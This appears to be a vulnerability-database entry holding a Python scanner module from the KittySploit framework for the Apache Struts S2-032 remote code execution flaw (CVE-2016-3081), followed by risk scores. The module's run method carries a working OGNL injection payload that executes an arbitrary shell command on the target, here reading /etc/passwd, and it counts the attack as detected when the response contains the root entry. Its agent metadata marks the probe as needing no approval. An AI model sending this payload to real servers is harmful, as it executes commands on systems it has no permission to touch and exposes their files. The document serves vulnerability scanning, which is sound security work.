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Apache S2-032 Struts - Remote Code Execution Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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Remote Code Execution in Apache Struts 2 when dynamic method invocation is enabled.

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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apache Struts 2."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Apache S2-032 Struts - Remote Code Execution Detection',
        'description': 'Apache Struts 2.3.19 to 2.3.20.2, 2.3.21 to 2.3.24.1, and 2.3.25 to 2.3.28, when dynamic method invocation is enabled, allows remote attackers to execute arbitrary code via method: prefix (related to chained expressions).',
        'author': ['KittySploit Team'],
        'severity': 'high',
        'tags': ['web', 'scanner', 'cve2016', 'cve', 'struts', 'rce', 'apache', 'vuln', 'vkev'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'risk_signal',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': [
            'https://cwiki.apache.org/confluence/display/WW/S2-032',
            'https://struts.apache.org/docs/s2-032.html',
            'https://nvd.nist.gov/vuln/detail/CVE-2016-3081',
            'http://web.archive.org/web/20211207042547/https://securitytracker.com/id/1035665',
            'http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20160527-01-struts2-en',
        ],
        'cve': 'CVE-2016-3081',
    }

    def run(self):
        path = '/index.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=cat%20/etc/passwd'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_regexes = ('root:.*:0:0:',)
        if any(re.search(rx, body) for rx in body_regexes):
            self.set_info(severity='high', reason='Apache S2-032 Struts - Remote Code Execution detected', path=path)
            return True
        return False

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28 Jul 2026 11:27Current
8.6High risk
Vulners AI Score8.6
CVSS 3.18.1
CVSS 29.3
EPSS0.96052
SSVC
5